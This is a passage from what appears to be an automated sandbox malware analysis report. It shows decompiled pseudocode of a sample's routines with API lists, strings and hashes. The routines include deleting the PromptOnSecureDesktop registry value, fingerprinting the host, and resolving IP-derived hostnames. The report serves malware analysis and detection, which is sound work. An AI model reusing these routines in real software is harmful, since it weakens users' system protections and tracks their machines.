							continue;
						} else {
							goto L5;
						}
						goto L6;
					}
					_t21 = _a4;
				}
				L6:
				return _t21;
			}

0x00402429
0x0040242b
0x0040242e
0x00402434
0x00402436
0x0040243b
0x00402474
0x00402474
0x0040243d
0x0040243d
0x00402440
0x00402442
0x00402446
0x0040244c
0x00000000
0x00000000
0x0040246b
0x00402472
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00402472
0x0040247b
0x0040247b
0x00402476
0x0040247a

APIs

lstrlenA.KERNEL32(?,localcfg,?,00000000,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001), ref: 00402429
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 0040243E
lstrcmpiA.KERNEL32(?,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg), ref: 00402452
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 00402467

Strings

localcfg, xrefs: 0040241F

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcmpi
String ID: localcfg
API String ID: 1808961391-1857712256
Opcode ID: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction ID: 10b525c6ae3f8891cd48fd25e34f392daf9ed257baad57177c8ccf48abf1fcea
Opcode Fuzzy Hash: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction Fuzzy Hash: B4011A31600218EFCF11EF69DD888DE7BA9EF44354B01C436E859A7250E3B4EA408A98

Uniqueness

Uniqueness Score: -1.00%

Function 0040E52E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111
fileCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040E52E(void* __edx, void* __eflags) {
				long _v4;
				void* __ecx;
				void* _t9;
				void* _t11;
				void* _t17;
				long _t20;
				void* _t23;
				int _t24;
				void* _t28;
				void* _t32;
				void* _t37;
				void* _t40;
				void* _t44;

				_t44 = __eflags;
				_t32 = __edx;
				E0040DD05();
				_t28 = E0040DBCF(_t44, 0x80000000, 3);
				_pop(_t31);
				if(_t28 == 0xffffffff) {
					L6:
					_t9 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
					_t11 = E0040E3CA(_t32, 0x80000001, E00402544(0x4122f8, 0x4110bc, 0x14, 0xe4, 0xc8), _t9);
					_t40 = _t37 + 0x34;
					if(_t11 == 0) {
						_t17 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						E0040E3CA(_t32, 0x80000001, E00402544(0x4122f8, 0x4110a0, 0x19, 0xe4, 0xc8), _t17);
						_t40 = _t40 + 0x34;
					}
					E0040EE2A(_t31, 0x4122f8, 0, 0x100);
					E0040EE2A(_t31, 0x4128f8, 0, 0x100);
					E0040DD69();
					return 1;
				}
				_t20 = GetFileSize(_t28, 0);
				_v4 = _t20;
				if(_t20 != 0) {
					E0040DB2E(_t20);
					_t23 =  *0x4136c4;
					_pop(_t31);
					if(_t23 != 0) {
						_t31 =  &_v4;
						_t24 = ReadFile(_t28, _t23, _v4,  &_v4, 0);
						_t48 = _t24;
						if(_t24 != 0) {
							E00402544( *0x4136c4,  *0x4136c4, _v4, 0xe4, 0xc8);
							E0040E332(_t32, _t48,  *0x4136c4, _v4);
							_t37 = _t37 + 0x1c;
						}
					}
				}
				CloseHandle(_t28);
				goto L6;
			}

0x0040e52e
0x0040e52e
0x0040e533
0x0040e544
0x0040e54c
0x0040e553
0x0040e5b8
0x0040e5c7
0x0040e5ed
0x0040e5f2
0x0040e5f7
0x0040e603
0x0040e624
0x0040e629
0x0040e629
0x0040e635
0x0040e63e
0x0040e646
0x0040e653
0x0040e653
0x0040e558
0x0040e55e
0x0040e564
0x0040e567
0x0040e56c
0x0040e571
0x0040e574
0x0040e578
0x0040e583
0x0040e589
0x0040e58b
0x0040e59a
0x0040e5a9
0x0040e5ae
0x0040e5ae
0x0040e58b
0x0040e574
0x0040e5b2
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

GetFileSize.KERNEL32(00000000,00000000,?,751443E0,?,00000000,?,0040A445), ref: 0040E558
ReadFile.KERNEL32(00000000,?,00000000,?,00000000,?,751443E0,?,00000000,?,0040A445), ref: 0040E583
CloseHandle.KERNEL32(00000000,?,751443E0,?,00000000,?,0040A445), ref: 0040E5B2

Strings

PromptOnSecureDesktop, xrefs: 0040E5D9, 0040E5DE, 0040E615, 0040E634

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: File$CloseCountCurrentExchangeHandleInterlockedReadSizeThreadTick
String ID: PromptOnSecureDesktop
API String ID: 3683885500-2980165447
Opcode ID: ea61079883e1d137724bdb03d89989e3cb326a6ab799ec698869bd57d3053e24
Instruction ID: 336cca8f28a0ae06816d6806ca3c094c6326420f96deeb8fe64773c8e7208e17
Opcode Fuzzy Hash: ea61079883e1d137724bdb03d89989e3cb326a6ab799ec698869bd57d3053e24
Instruction Fuzzy Hash: F321EAB19402047AE2207B639C0AFAB3D1CDF54758F10093EBA09B11E3E9BDD96082BD

Uniqueness

Uniqueness Score: -1.00%

Function 00401AC3, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00401AC3() {
				signed int _v8;
				char _v12;
				signed int _v16;
				struct HINSTANCE__* _t19;
				intOrPtr _t24;
				intOrPtr _t26;
				intOrPtr* _t28;
				signed int _t39;
				void* _t41;
				intOrPtr _t43;

				_v16 = 0;
				_t19 = LoadLibraryA("Iphlpapi.dll");
				if(_t19 == 0) {
					L15:
					return _v16;
				}
				_t28 = GetProcAddress(_t19, "GetAdaptersAddresses");
				if(_t28 == 0) {
					L14:
					goto L15;
				}
				_push( &_v12);
				_v8 = 0;
				_v12 = 0;
				_push(0);
				while(1) {
					_t41 =  *_t28(2, 0, 0);
					if(_t41 != 0x6f) {
						break;
					}
					_t24 = E0040EBED(_v8, _v12);
					if(_t24 == 0) {
						break;
					}
					_push( &_v12);
					_v8 = _t24;
					_push(_t24);
				}
				if(_t41 != 0) {
					L11:
					if(_v8 != 0) {
						E0040EC2E(_v8);
					}
					L13:
					goto L14;
				}
				_t26 = _v8;
				if(_t26 == 0) {
					goto L13;
				} else {
					goto L8;
				}
				do {
					L8:
					_t43 =  *((intOrPtr*)(_t26 + 0x34));
					_t39 = 0;
					if(_t43 <= 0) {
						goto L10;
					} else {
						goto L9;
					}
					do {
						L9:
						_v16 = _v16 ^ ( *(_t26 + _t39 + 0x2c) & 0x000000ff) << (_t39 & 0x00000003) << 0x00000003;
						_t39 = _t39 + 1;
					} while (_t39 < _t43);
					L10:
					_t26 =  *((intOrPtr*)(_t26 + 8));
				} while (_t26 != 0);
				goto L11;
			}

0x00401ad1
0x00401ad4
0x00401adc
0x00401b6b
0x00401b70
0x00401b70
0x00401aef
0x00401af3
0x00401b6a
0x00000000
0x00401b6a
0x00401af9
0x00401afa
0x00401afd
0x00401b00
0x00401b1c
0x00401b22
0x00401b27
0x00000000
0x00000000
0x00401b09
0x00401b12
0x00000000
0x00000000
0x00401b17
0x00401b18
0x00401b1b
0x00401b1b
0x00401b2b
0x00401b5b
0x00401b5e
0x00401b63
0x00401b68
0x00401b69
0x00000000
0x00401b69
0x00401b2d
0x00401b32
0x00000000
0x00000000
0x00000000
0x00000000
0x00401b34
0x00401b34
0x00401b34
0x00401b37
0x00401b3b
0x00000000
0x00000000
0x00000000
0x00000000
0x00401b3d
0x00401b3d
0x00401b4c
0x00401b4f
0x00401b50
0x00401b54
0x00401b54
0x00401b57
0x00000000

APIs

LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

Strings

Iphlpapi.dll, xrefs: 00401ACC
GetAdaptersAddresses, xrefs: 00401AE3

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: GetAdaptersAddresses$Iphlpapi.dll
API String ID: 2574300362-1087626847
Opcode ID: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction ID: f6c238f91e07a5798e813b0b618c72a9a5addbcd8e0b61e0281ff71d4ef1483f
Opcode Fuzzy Hash: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction Fuzzy Hash: 3D11DA71E01124BFCB11DBA5DD858EEBBB9EB44B10B144077E005F72A1E7786E80CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00401BDF, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00401BDF() {
				long _v8;
				long _v12;
				void* _v27;
				char _v28;
				void* _t14;
				signed int _t21;
				signed int _t30;
				void* _t31;

				_v28 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t30 = 0;
				_v12 = 0;
				asm("stosb");
				_v8 = 0xf;
				_t14 = E00401AC3();
				if(_t14 == 0) {
					if(GetComputerNameA( &_v28,  &_v8) == 0) {
						L6:
						GetVolumeInformationA(0, 0, 4,  &_v12, 0, 0, 0, 0);
						return _v12;
					}
					_t21 = 0;
					if(_v8 <= 0) {
						goto L6;
					} else {
						goto L3;
					}
					do {
						L3:
						_t30 = _t30 ^  *(_t31 + _t21 - 0x18) << (_t21 & 0x00000003) << 0x00000003;
						_t21 = _t21 + 1;
					} while (_t21 < _v8);
					if(_t30 == 0) {
						goto L6;
					}
					return _t30;
				}
				return _t14;
			}

0x00401bec
0x00401bf2
0x00401bf3
0x00401bf4
0x00401bf5
0x00401bf7
0x00401bf9
0x00401bfc
0x00401bfd
0x00401c04
0x00401c0b
0x00401c1d
0x00401c45
0x00401c51
0x00000000
0x00401c57
0x00401c1f
0x00401c24
0x00000000
0x00000000
0x00000000
0x00000000
0x00401c26
0x00401c26
0x00401c35
0x00401c37
0x00401c38
0x00401c3f
0x00000000
0x00000000
0x00000000
0x00401c41
0x00401c5e

APIs

Part of subcall function 00401AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
Part of subcall function 00401AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

GetComputerNameA.KERNEL32(?,0000000F), ref: 00401C15
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,00000001,00000000,00000000,00000000,00000000,?,?,?,?,00000001), ref: 00401C51

Strings

hi_id, xrefs: 00401BE5
localcfg, xrefs: 00401BE7

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: AddressComputerInformationLibraryLoadNameProcVolume
String ID: hi_id$localcfg
API String ID: 2777991786-2393279970
Opcode ID: 8706900559274ba91d770fb8bb1d60ecae66f9331a84d665d36368a2f022e804
Instruction ID: b3a67a5cb4ed68e183e77afdc8505cc80d304e276af6d439446d09174096bcc5
Opcode Fuzzy Hash: 8706900559274ba91d770fb8bb1d60ecae66f9331a84d665d36368a2f022e804
Instruction Fuzzy Hash: B2018072A44118BBEB10EAE8C8C59EFBABCAB48745F104476E602F3290D274DE4486A5

Uniqueness

Uniqueness Score: -1.00%

Function 004096FF, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48
registryCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E004096FF(void* __ecx) {
				void* _v8;
				char* _t6;
				char* _t10;
				void* _t23;
				void* _t24;

				_t16 = __ecx;
				_push(__ecx);
				_t6 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
				_t24 = _t23 + 0x14;
				if(RegOpenKeyExA(0x80000001, _t6, 0, 0x103,  &_v8) == 0) {
					_t10 = E00402544(0x4122f8,  &E004106A0, 9, 0xe4, 0xc8);
					_t24 = _t24 + 0x14;
					RegDeleteValueA(_v8, _t10);
					RegCloseKey(_v8);
				}
				E0040EE2A(_t16, 0x4122f8, 0, 0x100);
				return 0;
			}

0x004096ff
0x00409702
0x00409728
0x0040972d
0x0040973e
0x0040974a
0x0040974f
0x00409756
0x0040975f
0x0040975f
0x0040976d
0x0040977b

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,PromptOnSecureDesktop,00000000,?,?,0040A14A), ref: 00409736
RegDeleteValueA.ADVAPI32(0040A14A,00000000,?,?,?,?,?,?,?,?,?,0040A14A), ref: 00409756
RegCloseKey.ADVAPI32(0040A14A,?,?,?,?,?,?,?,?,?,0040A14A), ref: 0040975F

Strings

PromptOnSecureDesktop, xrefs: 00409704, 00409722, 00409727, 00409749, 0040976C

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: PromptOnSecureDesktop
API String ID: 849931509-2980165447
Opcode ID: 2a8abeb1ae8c575472f9bd74b3adb91cbf41d09789710805d0faf142c4fb6012
Instruction ID: 5e38ed9511aa8cc069582274463af9cddeeab7037fd65aad7bdf8be664a95ff7
Opcode Fuzzy Hash: 2a8abeb1ae8c575472f9bd74b3adb91cbf41d09789710805d0faf142c4fb6012
Instruction Fuzzy Hash: 5AF0C8B2680118BBF3106B51AC0BFDF3A2CDB44704F100075F605B50D2E6E55E9082BD

Uniqueness

Uniqueness Score: -1.00%

Function 00402684, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 00402693
gethostbyname.WS2_32(?), ref: 0040269F

Strings

~+t`y+tp*t, xrefs: 00402693
time_cfg, xrefs: 00402684

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID: time_cfg$~+t`y+tp*t
API String ID: 1594361348-1677924133
Opcode ID: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction ID: 506fadec158220b53989f58c32679351ed61dc8f5455c60e8cf87b9af1828998
Opcode Fuzzy Hash: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction Fuzzy Hash: 9CE08C302040219FCB108B28F848AC637A4AF06330F0189A2F840E32E0C7B89CC08688

Uniqueness

Uniqueness Score: -1.00%

Function 00401C5F, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401C5F(void* __eflags) {
				signed int _t49;
				signed int _t51;
				void* _t80;
				char _t91;
				void* _t92;
				signed int _t98;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t107;
				void* _t108;

				_t105 = _t107 - 0x70;
				_t108 = _t107 - 0x114;
				 *(_t105 + 0x6c) =  *(_t105 + 0x6c) & 0x00000000;
				_t98 =  *(_t105 + 0x7c);
				 *(_t105 + 0x7c) =  *(_t105 + 0x7c) & 0x00000000;
				_t101 = E0040ED03(_t98, 0x2c);
				if(_t101 == 0) {
					L6:
					_t49 = _t98;
					_t32 = _t49 + 1; // 0x2
					_t102 = _t32;
					do {
						_t91 =  *_t49;
						_t49 = _t49 + 1;
					} while (_t91 != 0);
					 *((char*)(_t105 + _t49 - _t102 - 0x24)) = _t91;
					_t51 = _t98;
					_t35 = _t51 + 1; // 0x2
					_t103 = _t35;
					do {
						_t92 =  *_t51;
						_t51 = _t51 + 1;
					} while (_t92 != 0);
					E0040EE5C(_t105 - 0x24, _t98, _t51 - _t103);
					wsprintfA(_t105 - 0xa4, "%u.%u.%u.%u.%s",  *(_t105 + 0x7b) & 0x000000ff,  *(_t105 + 0x7a) & 0x000000ff,  *(_t105 + 0x79) & 0x000000ff,  *(_t105 + 0x78) & 0x000000ff, _t105 - 0x24);
					if(E00402684(_t105 - 0xa4) != 0) {
						 *(_t105 + 0x6c) =  *(_t105 + 0x6c) | 1 <<  *(_t105 + 0x7c);
					}
					L12:
					return  *(_t105 + 0x6c);
				}
				 *(_t105 + 0x5c) =  *(_t105 + 0x78) & 0x000000ff;
				 *(_t105 + 0x60) =  *(_t105 + 0x79) & 0x000000ff;
				 *(_t105 + 0x68) =  *(_t105 + 0x7a) & 0x000000ff;
				 *(_t105 + 0x64) =  *(_t105 + 0x7b) & 0x000000ff;
				while(1) {
					 *((char*)(_t105 + _t101 - _t98 - 0x24)) = 0;
					E0040EE5C(_t105 - 0x24, _t98, _t101 - _t98);
					_t22 = _t101 + 1; // 0x1
					_t98 = _t22;
					wsprintfA(_t105 - 0xa4, "%u.%u.%u.%u.%s",  *(_t105 + 0x64),  *(_t105 + 0x68),  *(_t105 + 0x60),  *(_t105 + 0x5c), _t105 - 0x24);
					_t80 = E00402684(_t105 - 0xa4);
					_t108 = _t108 + 0x2c;
					if(_t80 != 0) {
						 *(_t105 + 0x6c) =  *(_t105 + 0x6c) | 1 <<  *(_t105 + 0x7c);
					}
					 *(_t105 + 0x7c) =  *(_t105 + 0x7c) + 1;
					if( *(_t105 + 0x7c) > 0x1e) {
						goto L12;
					}
					_t101 = E0040ED03(_t98, 0x2c);
					if(_t101 != 0) {
						continue;
					}
					goto L6;
				}
				goto L12;
			}

0x00401c60
0x00401c64
0x00401c6a
0x00401c71
0x00401c74
0x00401c86
0x00401c8c
0x00401d1c
0x00401d1c
0x00401d1e
0x00401d1e
0x00401d21
0x00401d21
0x00401d23
0x00401d24
0x00401d2a
0x00401d2e
0x00401d30
0x00401d30
0x00401d33
0x00401d33
0x00401d35
0x00401d36
0x00401d42
0x00401d6b
0x00401d7e
0x00401d88
0x00401d88
0x00401d8b
0x00401d95
0x00401d95
0x00401c96
0x00401c9d
0x00401ca4
0x00401cab
0x00401cae
0x00401cb3
0x00401cbd
0x00401cd2
0x00401cd2
0x00401ce1
0x00401cea
0x00401cef
0x00401cf4
0x00401cfe
0x00401cfe
0x00401d04
0x00401d0a
0x00000000
0x00000000
0x00401d14
0x00401d1a
0x00000000
0x00000000
0x00000000
0x00401d1a
0x00000000

APIs

wsprintfA.USER32 ref: 00401CE1
wsprintfA.USER32 ref: 00401D6B

Strings

%u.%u.%u.%u.%s, xrefs: 00401CDB, 00401D65
localcfg, xrefs: 00401C70

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %u.%u.%u.%u.%s$localcfg
API String ID: 2111968516-120809033
Opcode ID: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction ID: f60862e96afe744063ef1f8e151e0253a3d6131670b42bf9f562b78b9aabf051
Opcode Fuzzy Hash: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction Fuzzy Hash: 3C41C1729042999FDB21DF798D44BEE7BE89F49310F240066FD64E3192D639EA04CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00403F18, Relevance: 6.0, APIs: 4, Instructions: 46
filesynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F18(void* _a4, void* _a8, long _a12, long _a16, long _a20) {
				struct _OVERLAPPED _v24;
				long _t30;
				void* _t31;

				_v24.Offset = _v24.Offset & 0x00000000;
				_v24.OffsetHigh = _v24.OffsetHigh & 0x00000000;
				_t30 = _a12;
				_t31 = _a16;
				_a16 = _a16 & 0x00000000;
				_v24.hEvent = _t31;
				if(WriteFile(_a4, _a8, _t30,  &_a16,  &_v24) != 0) {
					L3:
					if(_t30 != _a16) {
						L5:
						return 0;
					}
					return 1;
				}
				if(GetLastError() != 0x3e5) {
					goto L5;
				}
				WaitForSingleObject(_t31, _a20);
				if(GetOverlappedResult(_a4,  &_v24,  &_a16, 0) == 0) {
					goto L5;
				}
				goto L3;
			}

0x00403f1e
0x00403f22
0x00403f27
0x00403f2b
0x00403f2e
0x00403f3e
0x00403f4c
0x00403f7c
0x00403f7f
0x00403f86
0x00000000
0x00403f86
0x00000000
0x00403f83
0x00403f59
0x00000000
0x00000000
0x00403f5f
0x00403f7a
0x00000000
0x00000000
0x00000000

APIs

WriteFile.KERNEL32(00000000,00000000,0040A3C7,00000000,00000000,000007D0,00000001), ref: 00403F44
GetLastError.KERNEL32 ref: 00403F4E
WaitForSingleObject.KERNEL32(00000004,?), ref: 00403F5F
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403F72

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedResultSingleWaitWrite
String ID:
API String ID: 3373104450-0
Opcode ID: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction ID: 81d5a9f64dfd66904774ebc82d2e0e48c629fa8216d99cd76bf4a5dbd4e59073
Opcode Fuzzy Hash: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction Fuzzy Hash: B9010C7291110AABDF01DF90ED44BEF7B7CEB08356F104066FA01E2190D774DA558BB6

Uniqueness

Uniqueness Score: -1.00%

Function 00403F8C, Relevance: 6.0, APIs: 4, Instructions: 46
filesynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F8C(void* _a4, void* _a8, long _a12, long _a16, long _a20) {
				struct _OVERLAPPED _v24;
				long _t30;
				void* _t31;

				_v24.Offset = _v24.Offset & 0x00000000;
				_v24.OffsetHigh = _v24.OffsetHigh & 0x00000000;
				_t30 = _a12;
				_t31 = _a16;
				_a16 = _a16 & 0x00000000;
				_v24.hEvent = _t31;
				if(ReadFile(_a4, _a8, _t30,  &_a16,  &_v24) != 0) {
					L3:
					if(_t30 != _a16) {
						L5:
						return 0;
					}
					return 1;
				}
				if(GetLastError() != 0x3e5) {
					goto L5;
				}
				WaitForSingleObject(_t31, _a20);
				if(GetOverlappedResult(_a4,  &_v24,  &_a16, 0) == 0) {
					goto L5;
				}
				goto L3;
			}

0x00403f92
0x00403f96
0x00403f9b
0x00403f9f
0x00403fa2
0x00403fb2
0x00403fc0
0x00403ff0
0x00403ff3
0x00403ffa
0x00000000
0x00403ffa
0x00000000
0x00403ff7
0x00403fcd
0x00000000
0x00000000
0x00403fd3
0x00403fee
0x00000000
0x00000000
0x00000000

APIs

ReadFile.KERNEL32(00000000,00000000,0040A3C7,00000000,00000000,000007D0,00000001), ref: 00403FB8
GetLastError.KERNEL32 ref: 00403FC2
WaitForSingleObject.KERNEL32(00000004,?), ref: 00403FD3
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403FE6

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedReadResultSingleWait
String ID:
API String ID: 888215731-0
Opcode ID: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction ID: 44fd539f7a3468c5635e20a1652967c761b46accf60e77792ab8a53432005efc
Opcode Fuzzy Hash: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction Fuzzy Hash: A601177291110AAFDF01DF90ED45BEF3B7CEF08356F004062F906E2090D7749A549BA6

Uniqueness

Uniqueness Score: -1.00%

Function 0040A4C7, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A4C7(intOrPtr _a4) {
				long _t3;
				LONG* _t8;
				long _t9;

				_t9 = GetTickCount();
				_t8 = _a4 + 0x5c;
				while(1) {
					_t3 = InterlockedExchange(_t8, 1);
					if(_t3 == 0) {
						break;
					}
					_t3 = GetTickCount() - _t9;
					if(_t3 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t3;
			}

0x0040a4dd
0x0040a4df
0x0040a4f7
0x0040a4fa
0x0040a4fe
0x00000000
0x00000000
0x0040a4e6
0x0040a4ed
0x0040a4f1
0x00000000
0x0040a4f1
0x00000000
0x0040a4ed
0x0040a504

APIs

GetTickCount.KERNEL32 ref: 0040A4D1
GetTickCount.KERNEL32 ref: 0040A4E4
Sleep.KERNEL32(00000000,?,0040C2E9,0040C4E0,00000000,localcfg,?,0040C4E0,00413588,00408810), ref: 0040A4F1
InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction ID: a5473328a7e7118e9aede6741b06156156ec1e7733dd8d1ec56465b12724d56e
Opcode Fuzzy Hash: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction Fuzzy Hash: 7DE0863720131567C6005BA5BD84FAA7B98AB4D761F164072FB08E3280D6AAA99145BF

Uniqueness

Uniqueness Score: -1.00%

Function 00404E92, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404E92(void* __ecx) {
				long _t2;
				void* _t7;
				LONG* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = GetTickCount();
				_t8 = _t7 + 4;
				while(1) {
					_t2 = InterlockedExchange(_t8, 1);
					if(_t2 == 0) {
						break;
					}
					_t2 = GetTickCount() - _t9;
					if(_t2 < 0x2710) {
						Sleep(0xa);
						continue;
					}
					break;
				}
				return _t2;
			}

0x00404e9c
0x00404ea6
0x00404ea8
0x00404ec0
0x00404ec3
0x00404ec7
0x00000000
0x00000000
0x00404eaf
0x00404eb6
0x00404eba
0x00000000
0x00404eba
0x00000000
0x00404eb6
0x00404ecd

APIs

GetTickCount.KERNEL32 ref: 00404E9E
GetTickCount.KERNEL32 ref: 00404EAD
Sleep.KERNEL32(0000000A,?,00000001), ref: 00404EBA
InterlockedExchange.KERNEL32(?,00000001), ref: 00404EC3

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 574f7709b1251d8d4516fda0e718bcbaf1509578ef326d685951742d25275ed5
Instruction ID: 0be737a4b1ecb403dd0b6a084e6b0260aeafc6613011e157a8d43e60cd200510
Opcode Fuzzy Hash: 574f7709b1251d8d4516fda0e718bcbaf1509578ef326d685951742d25275ed5
Instruction Fuzzy Hash: 6AE086B620121457D61027B9FD84F966A89AB9A361F010532F70DE21C0C6AA989345FD

Uniqueness

Uniqueness Score: -1.00%

Function 00404BD1, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404BD1(void* __ecx) {
				long _t2;
				void* _t7;
				LONG* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = GetTickCount();
